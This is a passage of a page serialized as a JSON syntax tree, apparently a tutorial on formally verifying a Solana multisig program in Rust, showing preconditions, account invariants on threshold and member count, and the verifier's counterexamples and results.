",{"type":23,"tag":504,"props":23101,"children":23102},{"style":511},[23103],{"type":28,"value":7825},{"type":23,"tag":504,"props":23105,"children":23106},{"style":1012},[23107],{"type":28,"value":12712},{"type":23,"tag":504,"props":23109,"children":23110},{"style":523},[23111],{"type":28,"value":2064},{"type":23,"tag":504,"props":23113,"children":23114},{"style":598},[23115],{"type":28,"value":18396},{"type":23,"tag":504,"props":23117,"children":23118},{"style":523},[23119],{"type":28,"value":22365},{"type":23,"tag":504,"props":23121,"children":23122},{"style":598},[23123],{"type":28,"value":320},{"type":23,"tag":504,"props":23125,"children":23126},{"style":523},[23127],{"type":28,"value":23128},"len()\n",{"type":23,"tag":504,"props":23130,"children":23131},{"class":506,"line":555},[23132],{"type":23,"tag":504,"props":23133,"children":23134},{"style":523},[23135],{"type":28,"value":19240},{"type":23,"tag":504,"props":23137,"children":23138},{"class":506,"line":633},[23139,23143,23147,23151,23155,23159,23163,23167],{"type":23,"tag":504,"props":23140,"children":23141},{"style":511},[23142],{"type":28,"value":12671},{"type":23,"tag":504,"props":23144,"children":23145},{"style":511},[23146],{"type":28,"value":12676},{"type":23,"tag":504,"props":23148,"children":23149},{"style":517},[23150],{"type":28,"value":6096},{"type":23,"tag":504,"props":23152,"children":23153},{"style":523},[23154],{"type":28,"value":526},{"type":23,"tag":504,"props":23156,"children":23157},{"style":598},[23158],{"type":28,"value":8572},{"type":23,"tag":504,"props":23160,"children":23161},{"style":523},[23162],{"type":28,"value":22968},{"type":23,"tag":504,"props":23164,"children":23165},{"style":598},[23166],{"type":28,"value":8572},{"type":23,"tag":504,"props":23168,"children":23169},{"style":523},[23170],{"type":28,"value":1652},{"type":23,"tag":24,"props":23172,"children":23173},{},[23174],{"type":28,"value":23175},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":494,"props":23177,"children":23179},{"code":23178},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23180],{"type":23,"tag":56,"props":23181,"children":23182},{"__ignoreMap":7},[23183],{"type":28,"value":23178},{"type":23,"tag":24,"props":23185,"children":23186},{},[23187],{"type":28,"value":23188},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":494,"props":23190,"children":23192},{"code":23191,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[23193],{"type":23,"tag":56,"props":23194,"children":23195},{"__ignoreMap":7},[23196,23203,23238,23259,23266],{"type":23,"tag":504,"props":23197,"children":23198},{"class":506,"line":507},[23199],{"type":23,"tag":504,"props":23200,"children":23201},{"style":523},[23202],{"type":28,"value":23091},{"type":23,"tag":504,"props":23204,"children":23205},{"class":506,"line":540},[23206,23210,23214,23218,23222,23226,23230,23234],{"type":23,"tag":504,"props":23207,"children":23208},{"style":523},[23209],{"type":28,"value":23099},{"type":23,"tag":504,"props":23211,"children":23212},{"style":511},[23213],{"type":28,"value":7825},{"type":23,"tag":504,"props":23215,"children":23216},{"style":1012},[23217],{"type":28,"value":12712},{"type":23,"tag":504,"props":23219,"children":23220},{"style":523},[23221],{"type":28,"value":2064},{"type":23,"tag":504,"props":23223,"children":23224},{"style":598},[23225],{"type":28,"value":18396},{"type":23,"tag":504,"props":23227,"children":23228},{"style":523},[23229],{"type":28,"value":22365},{"type":23,"tag":504,"props":23231,"children":23232},{"style":598},[23233],{"type":28,"value":320},{"type":23,"tag":504,"props":23235,"children":23236},{"style":523},[23237],{"type":28,"value":23128},{"type":23,"tag":504,"props":23239,"children":23240},{"class":506,"line":555},[23241,23245,23250,23254],{"type":23,"tag":504,"props":23242,"children":23243},{"style":598},[23244],{"type":28,"value":14602},{"type":23,"tag":504,"props":23246,"children":23247},{"style":523},[23248],{"type":28,"value":23249}," threshold ",{"type":23,"tag":504,"props":23251,"children":23252},{"style":598},[23253],{"type":28,"value":14669},{"type":23,"tag":504,"props":23255,"children":23256},{"style":523},[23257],{"type":28,"value":23258}," 0\n",{"type":23,"tag":504,"props":23260,"children":23261},{"class":506,"line":633},[23262],{"type":23,"tag":504,"props":23263,"children":23264},{"style":523},[23265],{"type":28,"value":19240},{"type":23,"tag":504,"props":23267,"children":23268},{"class":506,"line":687},[23269,23273,23277,23281,23285,23289,23293,23297],{"type":23,"tag":504,"props":23270,"children":23271},{"style":511},[23272],{"type":28,"value":12671},{"type":23,"tag":504,"props":23274,"children":23275},{"style":511},[23276],{"type":28,"value":12676},{"type":23,"tag":504,"props":23278,"children":23279},{"style":517},[23280],{"type":28,"value":6096},{"type":23,"tag":504,"props":23282,"children":23283},{"style":523},[23284],{"type":28,"value":526},{"type":23,"tag":504,"props":23286,"children":23287},{"style":598},[23288],{"type":28,"value":8572},{"type":23,"tag":504,"props":23290,"children":23291},{"style":523},[23292],{"type":28,"value":22968},{"type":23,"tag":504,"props":23294,"children":23295},{"style":598},[23296],{"type":28,"value":8572},{"type":23,"tag":504,"props":23298,"children":23299},{"style":523},[23300],{"type":28,"value":1652},{"type":23,"tag":24,"props":23302,"children":23303},{},[23304],{"type":28,"value":23305},"A third counterexample:",{"type":23,"tag":494,"props":23307,"children":23309},{"code":23308},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[23310],{"type":23,"tag":56,"props":23311,"children":23312},{"__ignoreMap":7},[23313],{"type":28,"value":23308},{"type":23,"tag":24,"props":23315,"children":23316},{},[23317,23319,23325],{"type":28,"value":23318},"Here we see the size of our ",{"type":23,"tag":56,"props":23320,"children":23322},{"className":23321},[],[23323],{"type":28,"value":23324},"members",{"type":28,"value":23326}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":494,"props":23328,"children":23330},{"code":23329,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[23331],{"type":23,"tag":56,"props":23332,"children":23333},{"__ignoreMap":7},[23334,23341,23376,23397,23449,23456],{"type":23,"tag":504,"props":23335,"children":23336},{"class":506,"line":507},[23337],{"type":23,"tag":504,"props":23338,"children":23339},{"style":523},[23340],{"type":28,"value":23091},{"type":23,"tag":504,"props":23342,"children":23343},{"class":506,"line":540},[23344,23348,23352,23356,23360,23364,23368,23372],{"type":23,"tag":504,"props":23345,"children":23346},{"style":523},[23347],{"type":28,"value":23099},{"type":23,"tag":504,"props":23349,"children":23350},{"style":511},[23351],{"type":28,"value":7825},{"type":23,"tag":504,"props":23353,"children":23354},{"style":1012},[23355],{"type":28,"value":12712},{"type":23,"tag":504,"props":23357,"children":23358},{"style":523},[23359],{"type":28,"value":2064},{"type":23,"tag":504,"props":23361,"children":23362},{"style":598},[23363],{"type":28,"value":18396},{"type":23,"tag":504,"props":23365,"children":23366},{"style":523},[23367],{"type":28,"value":22365},{"type":23,"tag":504,"props":23369,"children":23370},{"style":598},[23371],{"type":28,"value":320},{"type":23,"tag":504,"props":23373,"children":23374},{"style":523},[23375],{"type":28,"value":23128},{"type":23,"tag":504,"props":23377,"children":23378},{"class":506,"line":555},[23379,23383,23388,23392],{"type":23,"tag":504,"props":23380,"children":23381},{"style":598},[23382],{"type":28,"value":14602},{"type":23,"tag":504,"props":23384,"children":23385},{"style":523},[23386],{"type":28,"value":23387}," (threshold ",{"type":23,"tag":504,"props":23389,"children":23390},{"style":598},[23391],{"type":28,"value":14669},{"type":23,"tag":504,"props":23393,"children":23394},{"style":523},[23395],{"type":28,"value":23396}," 0)\n",{"type":23,"tag":504,"props":23398,"children":23399},{"class":506,"line":633},[23400,23404,23408,23412,23416,23420,23424,23429,23433,23437,23441,23445],{"type":23,"tag":504,"props":23401,"children":23402},{"style":598},[23403],{"type":28,"value":14602},{"type":23,"tag":504,"props":23405,"children":23406},{"style":523},[23407],{"type":28,"value":21980},{"type":23,"tag":504,"props":23409,"children":23410},{"style":598},[23411],{"type":28,"value":320},{"type":23,"tag":504,"props":23413,"children":23414},{"style":523},[23415],{"type":28,"value":20002},{"type":23,"tag":504,"props":23417,"children":23418},{"style":598},[23419],{"type":28,"value":18396},{"type":23,"tag":504,"props":23421,"children":23422},{"style":523},[23423],{"type":28,"value":801},{"type":23,"tag":504,"props":23425,"children":23426},{"style":1012},[23427],{"type":28,"value":23428},"u16",{"type":23,"tag":504,"props":23430,"children":23431},{"style":598},[23432],{"type":28,"value":2457},{"type":23,"tag":504,"props":23434,"children":23435},{"style":1012},[23436],{"type":28,"value":20020},{"type":23,"tag":504,"props":23438,"children":23439},{"style":511},[23440],{"type":28,"value":7811},{"type":23,"tag":504,"props":23442,"children":23443},{"style":1012},[23444],{"type":28,"value":12712},{"type":23,"tag":504,"props":23446,"children":23447},{"style":523},[23448],{"type":28,"value":18694},{"type":23,"tag":504,"props":23450,"children":23451},{"class":506,"line":687},[23452],{"type":23,"tag":504,"props":23453,"children":23454},{"style":523},[23455],{"type":28,"value":19240},{"type":23,"tag":504,"props":23457,"children":23458},{"class":506,"line":736},[23459,23463,23467,23471,23475,23479,23483,23487],{"type":23,"tag":504,"props":23460,"children":23461},{"style":511},[23462],{"type":28,"value":12671},{"type":23,"tag":504,"props":23464,"children":23465},{"style":511},[23466],{"type":28,"value":12676},{"type":23,"tag":504,"props":23468,"children":23469},{"style":517},[23470],{"type":28,"value":6096},{"type":23,"tag":504,"props":23472,"children":23473},{"style":523},[23474],{"type":28,"value":526},{"type":23,"tag":504,"props":23476,"children":23477},{"style":598},[23478],{"type":28,"value":8572},{"type":23,"tag":504,"props":23480,"children":23481},{"style":523},[23482],{"type":28,"value":22968},{"type":23,"tag":504,"props":23484,"children":23485},{"style":598},[23486],{"type":28,"value":8572},{"type":23,"tag":504,"props":23488,"children":23489},{"style":523},[23490],{"type":28,"value":1652},{"type":23,"tag":24,"props":23492,"children":23493},{},[23494],{"type":28,"value":23495},"And now we get:",{"type":23,"tag":494,"props":23497,"children":23499},{"code":23498},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[23500],{"type":23,"tag":56,"props":23501,"children":23502},{"__ignoreMap":7},[23503],{"type":28,"value":23498},{"type":23,"tag":24,"props":23505,"children":23506},{},[23507],{"type":28,"value":23508},"🥳🥳🥳",{"type":23,"tag":24,"props":23510,"children":23511},{},[23512],{"type":28,"value":23513},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":494,"props":23515,"children":23517},{"code":23516,"language":1956,"meta":7,"className":1957,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[23518],{"type":23,"tag":56,"props":23519,"children":23520},{"__ignoreMap":7},[23521,23544,23575],{"type":23,"tag":504,"props":23522,"children":23523},{"class":506,"line":507},[23524,23528,23532,23536,23540],{"type":23,"tag":504,"props":23525,"children":23526},{"style":544},[23527],{"type":28,"value":14560},{"type":23,"tag":504,"props":23529,"children":23530},{"style":529},[23531],{"type":28,"value":22444},{"type":23,"tag":504,"props":23533,"children":23534},{"style":598},[23535],{"type":28,"value":7702},{"type":23,"tag":504,"props":23537,"children":23538},{"style":1440},[23539],{"type":28,"value":3504},{"type":23,"tag":504,"props":23541,"children":23542},{"style":523},[23543],{"type":28,"value":552},{"type":23,"tag":504,"props":23545,"children":23546},{"class":506,"line":540},[23547,23551,23555,23559,23563,23567,23571],{"type":23,"tag":504,"props":23548,"children":23549},{"style":544},[23550],{"type":28,"value":15968},{"type":23,"tag":504,"props":23552,"children":23553},{"style":517},[23554],{"type":28,"value":22499},{"type":23,"tag":504,"props":23556,"children":23557},{"style":523},[23558],{"type":28,"value":526},{"type":23,"tag":504,"props":23560,"children":23561},{"style":1012},[23562],{"type":28,"value":22508},{"type":23,"tag":504,"props":23564,"children":23565},{"style":598},[23566],{"type":28,"value":2457},{"type":23,"tag":504,"props":23568,"children":23569},{"style":1012},[23570],{"type":28,"value":22517},{"type":23,"tag":504,"props":23572,"children":23573},{"style":523},[23574],{"type":28,"value":630},{"type":23,"tag":504,"props":23576,"children":23577},{"class":506,"line":555},[23578],{"type":23,"tag":504,"props":23579,"children":23580},{"style":523},[23581],{"type":28,"value":884},{"type":23,"tag":24,"props":23583,"children":23584},{},[23585,23587,23593,23595,23600,23602,23607,23609,23614],{"type":28,"value":23586},"In this case this is actually redundant because if ",{"type":23,"tag":56,"props":23588,"children":23590},{"className":23589},[],[23591],{"type":28,"value":23592},"members.len() == 0",{"type":28,"value":23594}," then our threshold would also have to be ",{"type":23,"tag":56,"props":23596,"children":23598},{"className":23597},[],[23599],{"type":28,"value":3001},{"type":28,"value":23601}," (and our ",{"type":23,"tag":56,"props":23603,"children":23605},{"className":23604},[],[23606],{"type":28,"value":21731},{"type":28,"value":23608}," is not allowed to be ",{"type":23,"tag":56,"props":23610,"children":23612},{"className":23611},[],[23613],{"type":28,"value":3001},{"type":28,"value":23615},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":82,"props":23617,"children":23619},{"id":23618},"_2-verify-threshold-requirements",[23620],{"type":28,"value":23621},"2. Verify threshold requirements",{"type":23,"tag":24,"props":23623,"children":23624},{},[23625],{"type":28,"value":23626},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":23628,"children":23629},{},[23630,23632,23636],{"type":28,"value":23631},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":1887,"props":23633,"children":23634},{},[23635],{"type":28,"value":8282},{"type":28,"value":23637}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":23639,"children":23640},{},[23641,23643,23647,23649,23654],{"type":28,"value":23642},"In this case, we want to model this as an ",{"type":23,"tag":1887,"props":23644,"children":23645},{},[23646],{"type":28,"value":20759},{"type":28,"value":23648}," on the ",{"type":23,"tag":56,"props":23650,"children":23652},{"className":23651},[],[23653],{"type":28,"value":21723},{"type":28,"value":23655}," account struct:",{"type":23,"tag":494,"props":23657,"children":23659},{"code":23658,"language":1956,"meta":7,"className":1957,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[23660],{"type":23,"tag":56,"props":23661,"children":23662},{"__ignoreMap":7},[23663,23670,23695,23702,23726,23777,23784,23803,23830,23857,23884,23911,23938,23965,23992,24027],{"type":23,"tag":504,"props":23664,"children":23665},{"class":506,"line":507},[23666],{"type":23,"tag":504,"props":23667,"children":23668},{"style":523},[23669],{"type":28,"value":19751},{"type":23,"tag":504,"props":23671,"children":23672},{"class":506,"line":540},[23673,23677,23682,23686,23691],{"type":23,"tag":504,"props":23674,"children":23675},{"style":523},[23676],{"type":28,"value":21819},{"type":23,"tag":504,"props":23678,"children":23679},{"style":1012},[23680],{"type":28,"value":23681},"Clone",{"type":23,"tag":504,"props":23683,"children":23684},{"style":523},[23685],{"type":28,"value":576},{"type":23,"tag":504,"props":23687,"children":23688},{"style":1012},[23689],{"type":28,"value":23690},"Debug",{"type":23,"tag":504,"props":23692,"children":23693},{"style":523},[23694],{"type":28,"value":19240},{"type":23,"tag":504,"props":23696,"children":23697},{"class":506,"line":555},[23698],{"type":23,"tag":504,"props":23699,"children":23700},{"style":523},[23701],{"type":28,"value":19759},{"type":23,"tag":504,"props":23703,"children":23704},{"class":506,"line":633},[23705,23710,23714,23718,23722],{"type":23,"tag":504,"props":23706,"children":23707},{"style":523},[23708],{"type":28,"value":23709},"    (self",{"type":23,"tag":504,"props":23711,"children":23712},{"style":598},[23713],{"type":28,"value":320},{"type":23,"tag":504,"props":23715,"children":23716},{"style":523},[23717],{"type":28,"value":20052},{"type":23,"tag":504,"props":23719,"children":23720},{"style":598},[23721],{"type":28,"value":8924},{"type":23,"tag":504,"props":23723,"children":23724},{"style":523},[23725],{"type":28,"value":20061},{"type":23,"tag":504,"props":23727,"children":23728},{"class":506,"line":687},[23729,23733,23737,23741,23745,23749,23753,23757,23761,23765,23769,23773],{"type":23,"tag":504,"props":23730,"children":23731},{"style":598},[23732],{"type":28,"value":14602},{"type":23,"tag":504,"props":23734,"children":23735},{"style":523},[23736],{"type":28,"value":19985},{"type":23,"tag":504,"props":23738,"children":23739},{"style":598},[23740],{"type":28,"value":320},{"type":23,"tag":504,"props":23742,"children":23743},{"style":523},[23744],{"type":28,"value":20052},{"type":23,"tag":504,"props":23746,"children":23747},{"style":511},[23748],{"type":28,"value":7825},{"type":23,"tag":504,"props":23750,"children":23751},{"style":1012},[23752],{"type":28,"value":12712},{"type":23,"tag":504,"props":23754,"children":23755},{"style":598},[23756],{"type":28,"value":7180},{"type":23,"tag":504,"props":23758,"children":23759},{"style":523},[23760],{"type":28,"value":12778},{"type":23,"tag":504,"props":23762,"children":23763},{"style":598},[23764],{"type":28,"value":320},{"type":23,"tag":504,"props":23766,"children":23767},{"style":523},[23768],{"type":28,"value":19964},{"type":23,"tag":504,"props":23770,"children":23771},{"style":598},[23772],{"type":28,"value":320},{"type":23,"tag":504,"props":23774,"children":23775},{"style":523},[23776],{"type":28,"value":20113},{"type":23,"tag":504,"props":23778,"children":23779},{"class":506,"line":736},[23780],{"type":23,"tag":504,"props":23781,"children":23782},{"style":523},[23783],{"type":28,"value":19240},{"type":23,"tag":504,"props":23785,"children":23786},{"class":506,"line":785},[23787,23791,23795,23799],{"type":23,"tag":504,"props":23788,"children":23789},{"style":511},[23790],{"type":28,"value":12671},{"type":23,"tag":504,"props":23792,"children":23793},{"style":511},[23794],{"type":28,"value":20132},{"type":23,"tag":504,"props":23796,"children":23797},{"style":1012},[23798],{"type":28,"value":20137},{"type":23,"tag":504,"props":23800,"children":23801},{"style":523},[23802],{"type":28,"value":552},{"type":23,"tag":504,"props":23804,"children":23805},{"class":506,"line":813},[23806,23810,23814,23818,23822,23826],{"type":23,"tag":504,"props":23807,"children":23808},{"style":511},[23809],{"type":28,"value":19824},{"type":23,"tag":504,"props":23811,"children":23812},{"style":529},[23813],{"type":28,"value":20153},{"type":23,"tag":504,"props":23815,"children":23816},{"style":598},[23817],{"type":28,"value":3472},{"type":23,"tag":504,"props":23819,"children":23820},{"style":1012},[23821],{"type":28,"value":20011},{"type":23,"tag":504,"props":23823,"children":23824},{"style":523},[23825],{"type":28,"value":20166},{"type":23,"tag":504,"props":23827,"children":23828},{"style":1106},[23829],{"type":28,"value":20171},{"type":23,"tag":504,"props":23831,"children":23832},{"class":506,"line":851},[23833,23837,23841,23845,23849,23853],{"type":23,"tag":504,"props":23834,"children":23835},{"style":511},[23836],{"type":28,"value":19824},{"type":23,"tag":504,"props":23838,"children":23839},{"style":529},[23840],{"type":28,"value":20183},{"type":23,"tag":504,"props":23842,"children":23843},{"style":598},[23844],{"type":28,"value":3472},{"type":23,"tag":504,"props":23846,"children":23847},{"style":1012},[23848],{"type":28,"value":20011},{"type":23,"tag":504,"props":23850,"children":23851},{"style":523},[23852],{"type":28,"value":20196},{"type":23,"tag":504,"props":23854,"children":23855},{"style":1106},[23856],{"type":28,"value":20201},{"type":23,"tag":504,"props":23858,"children":23859},{"class":506,"line":869},[23860,23864,23868,23872,23876,23880],{"type":23,"tag":504,"props":23861,"children":23862},{"style":511},[23863],{"type":28,"value":19824},{"type":23,"tag":504,"props":23865,"children":23866},{"style":529},[23867],{"type":28,"value":20213},{"type":23,"tag":504,"props":23869,"children":23870},{"style":598},[23871],{"type":28,"value":3472},{"type":23,"tag":504,"props":23873,"children":23874},{"style":1012},[23875],{"type":28,"value":16529},{"type":23,"tag":504,"props":23877,"children":23878},{"style":523},[23879],{"type":28,"value":20226},{"type":23,"tag":504,"props":23881,"children":23882},{"style":1106},[23883],{"type":28,"value":20231},{"type":23,"tag":504,"props":23885,"children":23886},{"class":506,"line":878},[23887,23891,23895,23899,23903,23907],{"type":23,"tag":504,"props":23888,"children":23889},{"style":511},[23890],{"type":28,"value":19824},{"type":23,"tag":504,"props":23892,"children":23893},{"style":529},[23894],{"type":28,"value":20243},{"type":23,"tag":504,"props":23896,"children":23897},{"style":598},[23898],{"type":28,"value":3472},{"type":23,"tag":504,"props":23900,"children":23901},{"style":1012},[23902],{"type":28,"value":16529},{"type":23,"tag":504,"props":23904,"children":23905},{"style":523},[23906],{"type":28,"value":20196},{"type":23,"tag":504,"props":23908,"children":23909},{"style":1106},[23910],{"type":28,"value":20260},{"type":23,"tag":504,"props":23912,"children":23913},{"class":506,"line":1221},[23914,23918,23922,23926,23930,23934],{"type":23,"tag":504,"props":23915,"children":23916},{"style":511},[23917],{"type":28,"value":19824},{"type":23,"tag":504,"props":23919,"children":23920},{"style":529},[23921],{"type":28,"value":20272},{"type":23,"tag":504,"props":23923,"children":23924},{"style":598},[23925],{"type":28,"value":3472},{"type":23,"tag":504,"props":23927,"children":23928},{"style":1012},[23929],{"type":28,"value":13615},{"type":23,"tag":504,"props":23931,"children":23932},{"style":523},[23933],{"type":28,"value":20285},{"type":23,"tag":504,"props":23935,"children":23936},{"style":1106},[23937],{"type":28,"value":20290},{"type":23,"tag":504,"props":23939,"children":23940},{"class":506,"line":1276},[23941,23945,23949,23953,23957,23961],{"type":23,"tag":504,"props":23942,"children":23943},{"style":511},[23944],{"type":28,"value":19824},{"type":23,"tag":504,"props":23946,"children":23947},{"style":529},[23948],{"type":28,"value":20302},{"type":23,"tag":504,"props":23950,"children":23951},{"style":598},[23952],{"type":28,"value":3472},{"type":23,"tag":504,"props":23954,"children":23955},{"style":1012},[23956],{"type":28,"value":19838},{"type":23,"tag":504,"props":23958,"children":23959},{"style":523},[23960],{"type":28,"value":20315},{"type":23,"tag":504,"props":23962,"children":23963},{"style":1106},[23964],{"type":28,"value":20320},{"type":23,"tag":504,"props":23966,"children":23967},{"class":506,"line":1285},[23968,23972,23976,23980,23984,23988],{"type":23,"tag":504,"props":23969,"children":23970},{"style":511},[23971],{"type":28,"value":19824},{"type":23,"tag":504,"props":23973,"children":23974},{"style":529},[23975],{"type":28,"value":20332},{"type":23,"tag":504,"props":23977,"children":23978},{"style":598},[23979],{"type":28,"value":3472},{"type":23,"tag":504,"props":23981,"children":23982},{"style":1012},[23983],{"type":28,"value":11032},{"type":23,"tag":504,"props":23985,"children":23986},{"style":523},[23987],{"type":28,"value":576},{"type":23,"tag":504,"props":23989,"children":23990},{"style":1106},[23991],{"type":28,"value":20349},{"type":23,"tag":504,"props":23993,"children":23994},{"class":506,"line":1294},[23995,23999,24003,24007,24011,24015,24019,24023],{"type":23,"tag":504,"props":23996,"children":23997},{"style":511},[23998],{"type":28,"value":19824},{"type":23,"tag":504,"props":24000,"children":24001},{"style":529},[24002],{"type":28,"value":20361},{"type":23,"tag":504,"props":24004,"children":24005},{"style":598},[24006],{"type":28,"value":3472},{"type":23,"tag":504,"props":24008,"children":24009},{"style":1012},[24010],{"type":28,"value":20370},{"type":23,"tag":504,"props":24012,"children":24013},{"style":523},[24014],{"type":28,"value":4789},{"type":23,"tag":504,"props":24016,"children":24017},{"style":1012},[24018],{"type":28,"value":20379},{"type":23,"tag":504,"props":24020,"children":24021},{"style":523},[24022],{"type":28,"value":20384},{"type":23,"tag":504,"props":24024,"children":24025},{"style":1106},[24026],{"type":28,"value":20389},{"type":23,"tag":504,"props":24028,"children":24029},{"class":506,"line":1302},[24030],{"type":23,"tag":504,"props":24031,"children":24032},{"style":523},[24033],{"type":28,"value":884},{"type":23,"tag":24,"props":24035,"children":24036},{},[24037,24039,24044],{"type":28,"value":24038},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":56,"props":24040,"children":24042},{"className":24041},[],[24043],{"type":28,"value":21723},{"type":28,"value":24045}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":24047,"children":24048},{},[24049,24051,24056],{"type":28,"value":24050},"Let's try this on the ",{"type":23,"tag":56,"props":24052,"children":24054},{"className":24053},[],[24055],{"type":28,"value":21802},{"type":28,"value":24057}," instruction that we've already seen:",{"type":23,"tag":494,"props":24059,"children":24061},{"code":24060},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[24062],{"type":23,"tag":56,"props":24063,"children":24064},{"__ignoreMap":7},[24065],{"type":28,"value":24060},{"type":23,"tag":24,"props":24067,"children":24068},{},[24069,24071,24076],{"type":28,"value":24070},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":56,"props":24072,"children":24074},{"className":24073},[],[24075],{"type":28,"value":21802},{"type":28,"value":3472},{"type":23,"tag":494,"props":24078,"children":24080},{"code":24079,"language":1956,"meta":7,"className":1957,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[24081],{"type":23,"tag":56,"props":24082,"children":24083},{"__ignoreMap":7},[24084,24092,24100],{"type":23,"tag":504,"props":24085,"children":24086},{"class":506,"line":507},[24087],{"type":23,"tag":504,"props":24088,"children":24089},{"style":1106},[24090],{"type":28,"value":24091},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":504,"props":24093,"children":24094},{"class":506,"line":540},[24095],{"type":23,"tag":504,"props":24096,"children":24097},{"style":1106},[24098],{"type":28,"value":24099},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":504,"props":24101,"children":24102},{"class":506,"line":555},[24103],{"type":23,"tag":504,"props":24104,"children":24105},{"style":1106},[24106],{"type":28,"value":24107},"// }\n",{"type":23,"tag":24,"props":24109,"children":24110},{},[24111],{"type":28,"value":24112},"And run again:",{"type":23,"tag":494,"props":24114,"children":24116},{"code":24115},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[24117],{"type":23,"tag":56,"props":24118,"children":24119},{"__ignoreMap":7},[24120],{"type":28,"value":24115},{"type":23,"tag":24,"props":24122,"children":24123},{},[24124],{"type":28,"value":24125},"We get the following counterexample:",{"type":23,"tag":494,"props":24127,"children":24129},{"code":24128,"language":1956,"meta":7,"className":1957,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[24130],{"type":23,"tag":56,"props":24131,"children":24132},{"__ignoreMap":7},[24133,24144,24164,24184,24204,24224,24244,24264,24284,24304,24325,24346,24354,24362,24392],{"type":23,"tag":504,"props":24134,"children":24135},{"class":506,"line":507},[24136,24140],{"type":23,"tag":504,"props":24137,"children":24138},{"style":1012},[24139],{"type":28,"value":16125},{"type":23,"tag":504,"props":24141,"children":24142},{"style":523},[24143],{"type":28,"value":552},{"type":23,"tag":504,"props":24145,"children":24146},{"class":506,"line":540},[24147,24152,24156,24160],{"type":23,"tag":504,"props":24148,"children":24149},{"style":529},[24150],{"type":28,"value":24151},"    account",{"type":23,"tag":504,"props":24153,"children":24154},{"style":598},[24155],{"type":28,"value":3472},{"type":23,"tag":504,"props":24157,"children":24158},{"style":1012},[24159],{"type":28,"value":20137},{"type":23,"tag":504,"props":24161,"children":24162},{"style":523},[24163],{"type":28,"value":552},{"type":23,"tag":504,"props":24165,"children":24166},{"class":506,"line":555},[24167,24171,24175,24180],{"type":23,"tag":504,"props":24168,"children":24169},{"style":529},[24170],{"type":28,"value":22805},{"type":23,"tag":504,"props":24172,"children":24173},{"style":598},[24174],{"type":28,"value":3472},{"type":23,"tag":504,"props":24176,"children":24177},{"style":1440},[24178],{"type":28,"value":24179}," 32768",{"type":23,"tag":504,"props":24181,"children":24182},{"style":523},[24183],{"type":28,"value":2484},{"type":23,"tag":504,"props":24185,"children":24186},{"class":506,"line":633},[24187,24192,24196,24200],{"type":23,"tag":504,"props":24188,"children":24189},{"style":529},[24190],{"type":28,"value":24191},"        authority_index",{"type":23,"tag":504,"props":24193,"children":24194},{"style":598},[24195],{"type":28,"value":3472},{"type":23,"tag":504,"props":24197,"children":24198},{"style":1440},[24199],{"type":28,"value":3504},{"type":23,"tag":504,"props":24201,"children":24202},{"style":523},[24203],{"type":28,"value":2484},{"type":23,"tag":504,"props":24205,"children":24206},{"class":506,"line":687},[24207,24212,24216,24220],{"type":23,"tag":504,"props":24208,"children":24209},{"style":529},[24210],{"type":28,"value":24211},"        transaction_index",{"type":23,"tag":504,"props":24213,"children":24214},{"style":598},[24215],{"type":28,"value":3472},{"type":23,"tag":504,"props":24217,"children":24218},{"style":1440},[24219],{"type":28,"value":2023},{"type":23,"tag":504,"props":24221,"children":24222},{"style":523},[24223],{"type":28,"value":2484},{"type":23,"tag":504,"props":24225,"children":24226},{"class":506,"line":736},[24227,24232,24236,24240],{"type":23,"tag":504,"props":24228,"children":24229},{"style":529},[24230],{"type":28,"value":24231},"        